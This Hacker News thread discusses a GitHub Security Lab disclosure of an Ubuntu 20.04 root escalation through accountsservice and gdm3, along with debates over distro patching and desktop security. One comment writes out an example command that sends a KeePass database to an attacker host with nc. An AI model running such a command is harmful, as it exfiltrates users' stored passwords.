How to get root on Ubuntu 20.04 by pretending nobody’s /home
securitylab.github.com
securitylab.github.com
I guess next time people ask why I like a distro like Arch that doesn't insert its own junk into upstream code over Debian/Ubuntu/et al, I'll have a new example handy to cite.
Does Debian actually change upstream significantly? I thought they kept things fairly vanilla.
I know Fedora patched in VAAPI support on Firefox before it was merged into the Mozilla codebase. I can’t think of a worse piece of software to patch, the last thing I want to be running untested code on is my web browser.
Thats not a trivial matter, its a potential source of many issues
There are really no perfect option here. Upstream and distro developers have different goals, and it's up to you to decide what you should adopt.
Forced updates every 6 months is annoying to most people. Forced updates every day or so would be annoying to basically everyone.
In particularly it was a significant improvement over the annoyances of Ubuntu, and I am still angry when thinking about the brief period I was maintaining a bunch of servers running Debian. Really unnecessarily difficult - particularly updating/upgrading and trying to clear the mess their systemd approach caused, in particular missing unit files for popular services (I think it was the isc-dhcp-server).
This is of course even worse if you are not the end-user but are trying to ship an appliance to your customers. Why would you want to update the entire appliance OS in the field fo all of your customers just to ship a security patch, instead of sticking with the same base OS on already released appliances?
Upgrade schedule for Fedora is twice a year, yes. Goes by without any issues, stuff still works.
There is change and then there is change. Yes, I understand that some things don't need to change, and why do they always have to. Do I need my Desktop to still resemble 3.11 because "Why did it ever change"? - No.
Some things in life simply change and they always have. I try to keep up where change is necessary.
And if I would be shipping appliances to customers, why should I have "forced updates" of any kind outside of my control? I would never sell anything without my own repos, quality control, etc.
Do you seriously sell Debian devices to anyone and support them, if anything outside of your control breaks? I seriously don't understand the argument.
And if I ship software of any kind that relies on some libraries, I have to maintain it, of course. This includes going with the major releases.
If this is embedded hardware, where there simply are only two or three updates in its lifetime, everything is different of course, but how on earth would I then have forced updates from RedHat??
Why are you afraid of updates then?
You aren't forced to update on Fedora. Fedora always supports current release n and n-1. There's even a window when n-2 is still supported after a new n is released.
Even then you aren't forced to update. I work with a guy still running Fedora 29. I wouldn't recommend that personally but his machine still works fine and is rock solid stable. Probably not the most secure though :-P
If I wanted an endless stream of new vulnerabilities I can just use upstream software.
I’m not saying those guys don’t know what they’re doing, obviously they are experts. But I would prefer to trust but verify (not just trust).
IME, they do keep things fairly vanilla, and I speak as someone who has run Debian since . . . I wanna say 2002? Plus I've done kernel dev work, and Debian's kernel patches ain't nothing compared to what RedHat used to do.
The various RPM flavors keep their kernels vanilla enough that I can mostly just rebase on top of linux-stable, and it's been that way since I started 7 years ago (according to github).
Arch is the winner. I've never had to make a custom patch for Arch.
Disclaimer: I work for Red Hat but opinions are my own
No, they radically change things to match their standards. E.g. look at their tomcat package which explodes it all over the filesystem.
Without the latter, all you have is a burlap sack full of software. Hardly a distribution. Fine if that's what you want, but it's not what Debian is.
> I also think Debian's approach has shown itself to produce something less reliable on the whole
I think the opposite. Is there something particular you'd like to point to? I accept the SSH disaster. But that's 12 years ago now, and it is a single example.
Debian's patches to cdrecord introduced so many bugs that they eventually ended up driving the original author away from open source.
I think I remember something about the python 2 -> 3 transition being harder on Debian because of changes they've made?
The packaged Tomcat on Debian is so different that every time I've seen someone running Tomcat they've installed it manually instead.
Debian has essentially given up on packaging Hadoop. Some of their criticisms of its build process are certainly valid, but others seem to be an unreasonable expectation that everything will build exactly the way Debian expects. E.g. if I'm understanding correctly, they essentially take the position that they won't package anything built with Maven, on frankly spurious grounds.
Debian tends to end up with very outdated versions of anything from an ecosystem that uses large numbers of small libraries, or, basically, anything that isn't written in C or Perl. E.g. Python libraries are typically a long way out of date (even compared to other distributions), and Debian's package management tends to be less compatible with Python's built-in tools like pip than other distributions (e.g. Debian is more likely to rename a Python library, in my experience, which then breaks reverse-dependencies on that library or leads to having two incompatible copies of it installed). So people running Python programs on Debian tend to end up with either a difficult-to-manage mix of system and non-system dependencies, or multiple parallel installs of Python.
You could say that Debian offers a reliable platform and it's the users' fault for installing these unreliable things on top of it. But an OS exists to run applications, not the other way around, and I find that in practice Debian's approach means users are forced to step outside the managed parts of it much more than with other distributions, and it handles it less well when they do, making for setups that are less reliable in practice. Put it this way: the "add-on repository" culture is a lot stronger in Debian/Ubuntu than in other distributions, and I think that's actually a weakness rather than a strength.
That's not how I remember it. I remember distros (Debian and others) patching cdrecord, which resulted in the upstream author getting furious and re-licensing cdrecord under a non-free license to stop them. Of course the software was then forked, and the author indeed ragequit free software development. People can read more of the story here: https://en.wikipedia.org/wiki/Cdrtools#License_compatibility...
There's a reason stuff like this is named after Schilling: https://mako.cc/copyrighteous/award
> I think I remember something about the python 2 -> 3 transition being harder on Debian because of changes they've made?
No? There was no transition. 2 and 3 coexisted, 2 was recently removed.
> The packaged Tomcat on Debian is so different that every time I've seen someone running Tomcat they've installed it manually instead.
Different as in file layout?
> Debian has essentially given up on packaging Hadoop. Some of their criticisms of its build process are certainly valid, but others seem to be an unreasonable expectation that everything will build exactly the way Debian expects. E.g. if I'm understanding correctly, they essentially take the position that they won't package anything built with Maven, on frankly spurious grounds.
Hadoop is not buildable with non-bundled dependencies, as far as I understand. This violates Policy. We were discussing reliability – am I missing something here?
> Debian tends to end up with very outdated versions of anything from an ecosystem that uses large numbers of small libraries, or, basically, anything that isn't written in C or Perl. E.g. Python libraries are typically a long way out of date (even compared to other distributions),
Can you show some examples?
> and Debian's package management tends to be less compatible with Python's built-in tools like pip
This is just not true.
> than other distributions (e.g. Debian is more likely to rename a Python library, in my experience, which then breaks reverse-dependencies on that library or leads to having two incompatible copies of it installed)
The package names are often renamed, but not the Python modules.
> You could say that Debian offers a reliable platform and it's the users' fault for installing these unreliable things on top of it. But an OS exists to run applications, not the other way around
Python libraries are hardly applications.
> Put it this way: the "add-on repository" culture is a lot stronger in Debian/Ubuntu than in other distributions, and I think that's actually a weakness rather than a strength.
Add-on repos are frowned upon in Debian.
Right, because he was getting blamed for bugs introduced by those patches.
> Hadoop is not buildable with non-bundled dependencies, as far as I understand. This violates Policy. We were discussing reliability – am I missing something here?
Well, if you can't install programs you want to use, that's not reliable. My point is that in practice you end up with an awkward mix of system-managed and non-managed programs installed, because there's a lot that Debian is unwilling to package, and such a system becomes unreliable, particularly when those system-managed packages diverge from their upstreams.
> Python libraries are hardly applications.
No, but in the Python ecosystem it's normal for new versions of an application to require relatively up-to-date versions of a large number of small libraries. So the applications end up out very out of date. I think there was a post here not so long ago from the Debian side about how it's increasingly unsustainable to try to include programs from ecosystems with a small-library mentality in Debian.
> Add-on repos are frowned upon in Debian.
And yet I've seen far more of them being made for Debian than for other distributions.
why would that definition make any sense ?
I have never heard that definition of an operating system, but it seems that every university & place has its own so we're all speaking different languages anyways when using that word :-)
[1]: https://www.schneier.com/blog/archives/2008/05/random_number...
Also, don't just blindly "fix things" because a tool complains. Understanding of warnings and error messages are important.
> Using uninitialized data as entropy source is an AMAZING idea in first place. “Fixing” or “unfixing” doesn’t make it any better.
I've always thought that Fedora and Arch were both much more "upstream first" than Debian is.
Yes, they do. And then they complain to you that this broke something: they split our package, from the main package A they split off parts into separate packages B, C, ... that depend on A. And then complained to us that B and C had a circular dependency and that this means we had to fix something. The audacity.
Our users still sometimes report issues where I immediately ask "are you using Debian or Ubuntu?" and the answer is usually yes: because guess what, they only install A (which matches our software's name) and then they miss the functionality which Debian moved into B, C, ... We actually print a warning about this when starting the software (along the lines of "Warning, B is missing, some things may not work as expected"), which then Debian patched out, calling it "misleading".
I've never had similar issues with any other downstream Linux distro.
So, no, I really can't agree with GP's statement.
all people are always about "slim systems" and alpine. but when debian does real engineering, then everybody complains it's complicated. that is a little bit annoying.
yes, debian is complex, but it's for a reason, since there are many requirements.
What I mean is taking one piece of software and splitting it apart into many libraries or binaries in a way that the upstream developer did not originally intend.
See some of the other responses.
IMHO, this is the correct thing to do.
I've spent a considerable amount of time as both developer and systems adminstrator. Not quite DevOps, but I've been doing both since before that was a term.
Programmers don't often have that systems level view that is necessary for systems administration. It leads to myopia like this Ubuntu patch, and packaging is usually an afterthought to many programmers. It's that difference between a "project" and a "product."
So honestly, complaining that Debian splits things would be like complaining they don't deliver tarballs, because back before GitHub, that was how upstream "delivered" "packages" (how many people remember "tar -xzf package.tar.gz && cd package && ./configure && make"?). And before you bring up "missing files", you can do an "apt-file" to search for things and then install the associated package, assuming that it wasn't installed already as a Recommended package or in many, many cases, you are using a metapackage which contains the "full" package anyway.
In any case, good or bad, it's invasive.
Regarding exim... exim is one of a nightmare no matter how one looks at it. I hate it with a passion, no matter the distro.
Gentoo has a much better track record of keeping packages vanilla, in part because patches are kept by default in the single Portage monorepo, so there is incentive not to dump huge patchsets in there. Only a few packages have significant Gentooisms maintained out of there (like the gentoo-sources kernel patchset, which as far as kernel patchsets go is still very light, and you can opt not to use it).
In 15+ years of using Gentoo I only recall two times their patches broke something for me. One, some obsolete crud in gentoo-sources broke booting without an initramfs on HP CCISS RAID controllers (because that's the only(!) block device driver that puts its kernel device names in a subdirectory). Two, a KDE Plasma patch to pull the right system Python version from the Gentoo infrastructure that manages that forked off a subprocess, but got fork() backwards, causing the "main" process PID to change and subtly breaking D-Bus policykit stuff due to security checks on the PID (aka: you can't mount devices from the system tray when the PulseAudio volume widget was loaded, how's that for a fun one to debug).
I don't recall Gentoo ever introducing a security issue, other than perhaps typical packaging mistakes (nothing comes to mind but I assume bad permissions have happened at some point, there's always some of those).
Not a bad track record for being my main workstation OS for a decade and a half.
Do you think equally-bad bugs haven’t made it into upstream projects directly? Hell, many downstream patches exist to fix security bugs.
It was a predictable result of Debian policy, which Debian did not see fit to change. Debian still patches upstream sources including security-critical software, still does not have any dedicated security review of those patches, still leaves it up to individual maintainers to decide whether and how to clear these things with upstream, and still thinks all of this is fine.
> Do you think equally-bad bugs haven’t made it into upstream projects directly?
Honestly, I can't think of a single equally-bad bug in "normal" code, only in medical devices / industrial controllers / etc.. Cloudbleed wasn't this bad. Bumblebee deleting /usr wasn't this bad. It really was a uniquely awful bug.
It's not fine, but when the upstream authors do not regard or consider requirements of downstream projects, what can you do? like with the example of phonehome features?
arch and other distros are only possible, because for a long time, debian and other distros kept nagging the upstream authors for missing features or "nonfeatures". if debian wouldn't exist, i bet, arch had to patch much more itself.
Well, as one of those upstream authors whose code was patched: I was never contacted about it, so I never knew there was a requirement to be met, and so they carried around a bad patch for years, about which I knew nothing. Once a user pointed this out to me, the next release fixed the underlying issue in a better way. After years in which the Debian folks didn't file an issue or report the problem in any way that I could tell.
Mind you, Debian is not alone in this, it happens with other distros, too.
And to be fair, I think this rather depends a lot on the downstream package maintainer; I've witnessed this with other projects where they were quite good in interacting with upstream to get something sorted out. I am not really sure if any policy Debian/Fedora/... could enact would really help with it; people can (accidentally or intentionally) ignore them.
In my experience it's rather uncommon for a DD not to contact upstream. Would you mind sharing the package name and vulnerability so I and others can learn what happened?
Upstream was contacted about it: https://marc.info/?t=114651088900003&r=1&w=2
the maintainer made an error there. did you open a bugreport that you fixed it so the patch is not necessary?
> And to be fair, I think this rather depends a lot on the downstream package maintainer; I've witnessed this with other projects where they were quite good in interacting with upstream to get something sorted out. I am not really sure if any policy Debian/Fedora/... could enact would really help with it; people can (accidentally or intentionally) ignore them.
yeah and that's the point. people in this thread (not you as far as i see) say they do not trust debian because of this, but other distributors and packagers? do they have technical or organisatorial fences for avoiding such mishaps? if not, then other distributions are as problematic as debian, even arch.
debian did a whole lotta good for Free software and i really start to dislike how people shit on the project (again not you).
Many distributions have a dedicated security team that has to sign off any patches to security-critical software. Debian's position is that they do not have the resources for such a team, which is fair enough, but IMO the conclusion should be that they don't have the resources to be applying their own patches to security-critical software.
More subjectively I get the sense that Debian packagers patch more aggressively and generally think the Debian way of things is better. This isn't completely groundless: there's a lot of very high quality engineering in Debian, and for a long time their package management was head and shoulders above others, especially if we're talking about C programs/libraries where upstream dependency management is very weak. But it's also made for a culture where packagers think they know better than upstream maintainers, and an approach that ends up conflicting quite a bit with newer languages where there is high-quality dependency management in the upstream builds.
Which are some of those distros? (I'd consider using myself in the future)
This is false. Debian has a security team and it's way more active than most distributions.
> But it's also made for a culture where packagers think they know better than upstream maintainers
Yes and for good reasons.
On the flip side of the coin, there are plenty of open source authors who release their work into the wild and refuse to support or even engage with downstream packagers because they see any other distribution or use of their work as Not Their Problem. And they're not really wrong, building a supportive community around a useful project is totally optional after all.
Between the constant stream of version bumps, security updates, patching, bug triaging, and user support, distribution maintenance seems to be the most thankless job in the open source world.
It was interesting because the cause was a patch crafted to satisfy a static analysis tool they insisted on applying to every package, which demonstrated their want to go above and beyond with respect to quality. Kudos to Debian in that regard. But a blindly applied policy, and bad judgement in disabling some cryptographic initialization code, caused a terrible bug.
I wonder if this is less of an issue today because of well defined kernel interfaces for getting "good" random numbers (i.e. cryptographically suitable). I'm sure the devil is in the details, and OpenSSH's support for unpopular systems means intentional use of uninitialized variables is still in the code base. It's all very impressive to an outsider who knows enough not to tell cryptographers how to do their job.
More than a decade ago a programmer friend got Ubuntu running on a second hand desktop for a rather computer illiterate arts & letters student. He was able to navigate the GUI like any other system, and it had Firefox, OpenOffice, and mplayer. I knew then that Linux is a perfectly fine desktop OS. And now we're back to using Debian of a sort. ;-)
I stopped using Debian when its ridiculous "free" purely ideological approach to software actually caused me issues.
I needed to install Debian on a relatively old laptop a few years ago. It had all "mainstream" hardware. It's WiFi adapter was an Intel one (and a very common/popular one at the time), but it was one that wasn't open source.
How did Debian approach this? It's installer gave me a not very subtle passive aggressive message telling me that although they have the drivers for the device, it was not going to install them... because the ISO did not include them. With no working WiFi, it of course could not connect to the internet to download them! Worse still, turns out that even if it had connected to the internet it wouldn't have downloaded and installed them anyway. I found this out because I managed to use an Ethernet connection.
Completely stupid and frustrating and it felt like I was being blamed as if it was my fault.
Installed Ubuntu, included the drivers, connected to WiFi during the installation.
I have not used Debian on anything since.
I like it that that try to focus on a completely free version, as that is what they stand for and why a lot of people respect them, while at the same time being realistic about the real world problems that people face.
And Debian is great. We might take it for granted now, but 2 decades ago while everyone else was fiddling with their own package dependencies with RPM (pre-Yum) Debian had amazing package management with builds for all sorts of amazing architectures. They were leaders both in thought and execution.
I tried (but failed) to influence an employer to invest more in Debian; instead they went with SuSe which eventually caused a few small problems. Now Debian & Ubuntu are booming.
They do provide "nonfree" install media which include firmware blobs that many people need to get their wifi up - https://cdimage.debian.org/cdimage/unofficial/non-free/cd-in.... But it's not easy to get there (I google "Debian nonfree") and it has "unofficial" in the URL which I imagine doesn't help things either.
I understand that Ubuntu is meant to be the user-friendly Debian-based distro and that Debian is meant to be Free Software first and foremost. I just wish that this nonfree install image was a bit more official and easier for users to discover.
edit: oops, I should refresh before hitting "reply" I didn't see the other answer
So the "firmware" I required for my Thinkpad's wifi to work (and which was included in that Debian nonfree image) is this: https://wiki.debian.org/iwlwifi
update: actually on that Debian wiki there's a page called "Firmware" which explains things well https://wiki.debian.org/Firmware
It validates their hobby-like approach to their OS.
Most run Ubuntu or Debian, and a few run Arch. And every few weeks someone mentions again how something broke, and they need to spend some time fixing it. I think the last one was VMWare not working on a kernel yet.
Arch requires more time to maintain, and more manual maintenance. So in order to justify that extra spent time a lot of times they will bring up minor stuff that happens in Debian/Ubuntu, like this bug from 12 years ago, in order to justify running Arch, which is more of a "learn Linux" hobby.
That being said, running Arch on a computer that you need to be working at all time, might not be a good idea for professional reasons. However, I think you are essensially making a similiar argument for Arch, as they are making for the Debian bug.
I learned my lesson. From now on it is boring LTS distros only, and guix for things in userland where I want up to date things.
This is the feeling I get, and it's why I never bothered with Arch, or Gentoo before that. I started on Slackware, and while it was a great learning experience, I feel that's not a lesson I need to repeat.
Same reason for my move from RedHat (after an RPM dependency breakage) to Debian: Debian just works. It GTFO of my way and let's me focus on my code and my projects. Yes, there have been issues, no, Debian isn't "perfect", but like my preferred MUA "it sucks less than all the alternatives."
I've used Arch for the last six+ months and I don't want this to happen.
I switched as I couldn't get VFIO to work with Debian (presumably due to outdated kernel/qemu/libs). In my time with Arch I have had no problems. It has just worked and stayed out of my way. My experience with Debian is that it mostly works, but often uses much older software than one wants. Arch, in my limited experience, is an excellent distribution.
This is only personal observation, not direct remark to your case. I've just seen similar scenarios too many times.
On the other hand - I've played with Arch since early beginnings, but last time more than 10 years ago. Although minimal, simple and straightforward, I have never been able to grope that rolling-release core philosophy.
TL;DR: To silence a valgrind warning, Debian maintainers added a local patch to OpenSSL that commented out the entropy pool, making all SSL keys predictable.
It's been a very long time since I worked on a distro (former Canonical employee here) but every distro carries patches of some sort.
Current linux release has one patch changing one default: https://github.com/archlinux/linux/commits/v5.9.8-arch1
https://wiki.archlinux.org/index.php/DeveloperWiki:Patching
As you say, the page notes that "[the] policy is intended to suggest, not to enforce", but having a policy is orthogonal to enforcing it.
But why is kernel is patched by distros at all? I run kernel from kernel.org always and don't see any issues.
I haven't been a distro packager in many years, but my recollection is that in other distros (debian, fedora, arch, etc) patches that add new functionality would generally not be considered okay unless accepted by upstream. I'd be interested to learn the rationale for not upstreaming this patch before including it.
sed -i '/dbus_conf_dir/s/sysconfdir/datadir/g' meson.build
then that would be not needed.
https://sources.debian.org/src/accountsservice/0.6.55-3/debi...
https://sources.debian.org/src/accountsservice/0.6.45-2/debi...
The changes that fix both vulnerabilities can be viewed here: https://git.launchpad.net/ubuntu/+source/accountsservice/com...
Personally I question the logic of having accounts-daemon grovel through pam_env's config files in the first place. This isn't an API, it's an implementation detail! It just seems like a bad idea, even ignoring the vulnerability which anyone who isn't an absolute expert on the semantics of real/effective/saved UIDs & how to safely change them could have made.
https://www.usenix.org/conference/11th-usenix-security-sympo... (the famous Sendmail vulnerability therein is actually the _opposite_ of the accountsservice problem... sendmail _should_ have set the real uid as well as the effective uid, so that its effective uid could never be changed back to 0).
LWN has an excellent series of articles about thedesign of UNIX, one of which explains the problems with setuid: https://lwn.net/Articles/416494/
It always struck me as a very strange phenomenon to occur given the apparent security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now, given modern distros that prioritise form-over-function more than they used to?
For hardware-accelerated compositing situations, it might have something to do with unnecessarily long / out-of order retention of the GPU frame buffer, which I could conceive of as being dismissed as inconsequential in most circumstances.
I have a 20.04 thinkpad that I rarely use for reasons (partly that it doesn't come out of suspend most of the time, forcing a hard reboot) but I remember this being a problem back when my Ubuntu install was functional :)
I had the same problem with my T14s (AMD). Installing kernel 5.8 via `apt install linux-generic-hwe-20.04-edge` solved the suspend issue for me.
Wayland is supposed to fix most of those legacy shortcomings enabling proper app-level sandboxing. It took a while, but its implementations are more or less usable as daily drivers these days - if you're interested in desktop security, help to push Wayland to become a hassle free replacement of X is appreciated a lot
There is also pipewire going somewhat stable (I had issues with bluetooth but otherwise it worked perfectly), that would enable all these things without applications having to worry about the compository at all.
Things have improved recently (in part due to our own efforts to submit PRs to DEs), but we still need one implementation per DE more or less, since many don't implement the "common" Wayland protocol to accomplish this (Gnome, KDE).
I know what you're talking about, and I'm pretty sure it's a very GNOME-specific problem (or gdm, or whatever login manager they use by default...) because when I started out on Ubuntu earlier this year, there was a very active bug report about it. I could actually probably find it if anyone was curious.
But I've long since ditched gnome because well, I hate it. On KDE now and never had this problem. I'm pretty sure this is not an "all of linux" problem at all though.
I will give KDE a go!
This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1% market share and because its users are more tech savvy.
Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Also both systems pretty much don't have any sane security policy for the end user at all by default, because they both are trying to defend from the wrong threat - privilege escalation, - which is irrelevant for desktop users 90% of the time.
I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with.
There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.
> the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user
These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below.
> sticking the UI into the kernel
Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective.
But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years.
Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
Xorg hasn't needed to run as root for a long time; kernel mode setting (KMS) removed the main reason for it to run as root. Its successor (Wayland) never runs as root (unless, of course, your user is root itself).
> But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account
The current push towards sandboxing (flatpak, sandboxed browser processes, etc) makes privilege escalation relevant for desktop users again.
> This doesn't exists.
It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then.
> Arguably otherwise Windows has better defense because it comes with built-in virus scanner.
Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.
I would be surprised if this isn't configurable. In fact, I'm pretty sure that XScreenSaver has exactly this "fade" parameter as a number of seconds and can be disabled. No idea about other screensavers.
There is some writing from the author of xscreensaver which makes for fun reading. Displaying the desktop for a few seconds could be the least of your worries. There have been multiple security issues in the past in various screen lockers that let you completely bypass the password screen (probably all fixed today, but who knows what else could be lurking).
I won't link it directly because I think (?) his site displays something else when your Referer header is hacker news. This should provide you with an entry point, and there are multiple other linux screensaver issues over the past years linked from that post.
https://www.google.com/search?q=jwz xscreensaver "The awful thing about getting it right the first time is that nobody realizes how hard it was."
You can also search for "XScreenSaver: On Toolkit Dialogs", but I think it's linked in that blog post.
Edit with direct quote from the article:
> Disclaimer: For someone to exploit this vulnerability, they need access to the graphical desktop session of the system, so this issue affects desktop users only.
Am I wrong?
I'd pay similar money to have a similarly robust VIM plugin from a supported vendor with great support and sane keybindings OOTB.
man, its easy to get spoiled with tons of ram and a great IDE.
Plus, there are a few admins out there who simply prefer to use VNC over a straight terminal. I'm not here to judge; while this is uncommon, it's certainly not unheard of. Personally I would rather not have that much attack surface on my servers, but there are a few legitimate use cases here and there.
It's really not that common. Yes there's the odd cases of servers that use enterprise software that have to have GUIs, but most linux boxes run headless. GUIs are just a waste of processing power and resources for the large majority of the things that servers are used for.
That said, I'm not happy that Canonical are entirely discounting the possibility that customers will have desktop environments installed on servers. It's not common, but it does happen.
I never install GUIs on my servers, but when deploying a image processing server, while installing another package to debug CUDA/drivers, I've unintentionally added a full windowing system without realising it.
The core vulnerability is in gdm which means that you have to have that running as a system service.
Though on second thought, if one can easily set up X forwarding as an unprivileged user, it might still be trivially exploitable.
Anyway, the announcement means that Ubuntu has fixes in affected (desktop) packages. If they are installed on a server, they'd be fixed with next apt update/upgrade too: they use the same package repositories.
There's no difference between the two, except for the presence of the GUI software.
Simply go apt install ubuntu-desktop on any server and you got yourself a desktop install.
$ apt-cache policy accountsservice
accountsservice:
Installed: 0.6.40-2ubuntu11.6
Candidate: 0.6.40-2ubuntu11.6
And grep for this package. Otherwise
sudo apt update
/usr/lib/update-notifier/apt-check --human-readable
Will list number of pending security updates.
(part of update-notifier-common, and in task:server along with various desktop-tasks)
Beyond that, you might want to look at https://vuls.io or other auditing packages. Or perhaps:
sudo snap install cvescan
cvescan
Seems it could use some exposure - I wasn't aware of it: https://github.com/canonical/sec-cvescan
> It uses D-Bus to ask accounts-daemon how many users there are, but since accounts-daemon is unresponsive, the D-Bus method call fails due to a timeout. (In my testing, the timeout took around 20 seconds.) Due to the timeout error, the code does not set the value of priv->have_existing_user_accounts. Unfortunately, the default value of priv->have_existing_user_accounts is false, not true, so now gdm3 thinks that there are zero user accounts and it launches gnome-initial-setup.
I am sick and tired of programs trying to continue onward somehow after encountering "impossible" error conditions or tripping over arbitrary timeouts. Failing fast when something looks funny is essential to the creation of a secure system. When you write something like the gdm3 code above --- which, when it runs into trouble, clears any ambient error and pretends that the system has no current users --- you may think you're doing the user a favor by continuing to operate, but what you're doing is in fact willfully entering some unknowable and unexplored region of the system's state space, usually one full of dragons and anthrax.
What you want to do instead is just die when something goes wrong. gdm3 should respond to a failure to contact org.freedesktop.Accounts with either a hard lockup or a forced restart of the gdm3 daemon.
I do this for a specific reason: I don’t want my team to get pinged with a support request for something trivial.
So this type of bug is a huge eye opener for me. I still want to strike a balance between usability and clarity, but this story makes me want to review a lot of the code I’ve written. None of it is mission critical and on this level, luckily.
But all the updated versions are for accounts-version, not gdm3. Do they change the 'default' response somehow?
https://utcc.utoronto.ca/~cks/space/blog/linux/UbuntuAccount...
Not reassuring.
So I googled "accounts-daemon", and these are the titles for the first three results:
1. "What does accounts-daemon actually do?"
2. "Should I disable accounts-daemon?"
3. "Process accounts-daemon taking 100% of CPU."
Use a Thinkpad that's not too new? OK without 802.11ac and Bluetooth?
Come take a dip, the water is just fine.
Don't bother. OpenBSD's performance is atrocious. I hear dragonflyBSD actually has first-class multiprocessor support, and have always wanted to try it out.
I don't care if my OS is faster if it's being used to compromise my systems, eh?
It's like, if you take the armor off a tank it will go faster, sure, but don't ride it into battle.
Is gnome 3 on OpenBSD significantly more secure than on Linux? I very much doubt it.
No seriously. I don't know. I'd like to know.
We don't have to speculate and bloviate. Go ask them.
It's an API and associated service daemon to add/remove/modify users, since Linux does not have one of those. (except forking out to useradd/usermod/userdel, except on Debian where they supply the adduser/rmuser commands instead, because consistency is for chumps, I guess)
Never delete the root filesystem when removing users
Many, many user accounts use / as their home directory.
If deleting these accounts with accountsservice, we should just ignore requests to
delete the home dir, rather than trash the user's computer.
Fixes #57> Dropping privileges means that the daemon temporarily forfeits its root privileges, adopting instead the lower privileges of the user. Ironically, that’s intended to be a security precaution, the goal of which is to protect the daemon from a malicious user who does something like symlinking their .pam_environment to /etc/shadow, which is a highly sensitive file that standard users aren’t allowed to read. Unfortunately, when done incorrectly, it also grants the user permission to send the daemon signals, which is why we’re able to send accounts-daemon a SIGSEGV.
What’s the recommended way to drop permissions while blocking the ability to kill the process (sure you can mask off SIGSEGV but SIGKILL isn’t maskable)?
Also, the wording makes it sound like you can re-acquire the original permissions which I thought is impossible. Isn’t dropping permissions a one-way operation? I would have thought there was some usage of fork here but the usage of `pidof` and 1 result in the write up would imply no forking. Maybe a link to the source here would be sufficient for me (I don’t see one in the article or in the thread here).
Accountservice is actually changing its user ID rather than dropping capabilities which is where my confusion came from. It looks like there’s magic in the kernel to allow a process to switch back to the original user & some nuance about some ways of switching allowing you to send signals while other ways make your process act like a semi-hybrid of two user accounts (I.e. it technically looks owned by your user but you still don’t have permissions to do things with it). Security issues always lie in these kind of weird nuances.
* calling mount during installation(?) when there is no user. Makes no sense to have the daemon running later
* providing a user icon. Exactly the type of functionality I like to throw out
* providing a user specific language setting. I can see that this is useful for some users
So how is dropping privileges done correctly to avoid getting killed by the user? Running as another user is one way, but I guess that is not always feasible if you want the daemon provide services for the user. On the other hand accountservice is there for multiple (human) users. So as which of them is it running? Not at a machine right now...
I was wondering this too. What is the way to "correctly" drop privileges? Is it even possible to drop privileges within a process in a way that's immune to this?
Don't remember having seen that. Well, sshd does it, but for more obvious reasons than handling signals.
* The machine has no desktop user at the moment
* The program was patched on 04-Nov, I guess addressing this issue.
The solution is almost always to use (or add) kernel constructs that would obviate the need to elevate in the first place, but they generally aren’t fine-grained enough so on paper it looks like dropping privileges makes more sense, though in practice it might turn out to be the bigger mistake.
I think you got the wrong idea from the article, which is partly author's fault. He claims user should not be able to do that, but that is a highly anti-user anti-unix viewpoint.
Creating a destroying (crashing) processes running with uid of any non-root user is something like an obvious inalienable right of that unix user. It is expected that this works.
The problem to solve is that the crash of the user daemon confuses gdm (a root process) which then behaves as if the computer is in the installation phase and the user is to be trusted with setting up high-privilege account.
The solution for Ubuntu is obvious, fix gdm. For administrators / power users, use something simpler such as xdm, where these kinds of errors are unlikely to occur.
And you access that using the POSIX getpwent(3) family of functions, which glibc wraps to honor nsswitch.conf. accountservice seems superfluous.
For this case of temporarily lowering access rights to avoid user loading unauthorized files, by only setting effective user id (EUID) (or filesystem user id (FSUID), though its use should be avoided nowadays) instead of real user id (RUID) like the code did. And same for group id.
Here, as the article mentions, part of the attack relies on the fact that the privledged process goes out of its way to defend against such an attack.
As far as I can tell, the symlink is not even nessasary. You should be able to get the same effect by making 1TB big. Using sparse files, you don't even need much disk space.
Basically, if the LANG and LC_ALL appear are across two 50 byte regions of the file, it'll fail to find them.
I don't know enough of the format of the .pam_environment file to tell whether that may lead to unexpected results.
There are so few multi user machines in existence that I doubt this mode of usage will ever get enough attention to be even moderately secure.
That is a tall bet :D
If anyone is going to try out crazy stuff for the sake of curiosity/pranks, it would be students.
Don't shared web hosts count?
As for trust, there are probably few, if any, attack vectors more common than privilege escalation, so I’m not sure I follow that line of reasoning either.
However, the underlying core problem of the vulnerability is absolutely independent of any specific component, vendor, product or policy. The core problem are developers not thinking their stuff out. Reading from a file is an absolutely non trivial task, million things can go wrong and the responsible developer has to foresee and handle them all in a generic sane way. Maybe do not read until EOF, if you never expect more than a few bytes? Read the file async with a timeout? Taint the input? Do not put the system in a dependent, unsecure state before success of the operation. Expect stuff to fail and code accordingly! Think like a hacker and try to hack your own code. And do this for any single line of your code.
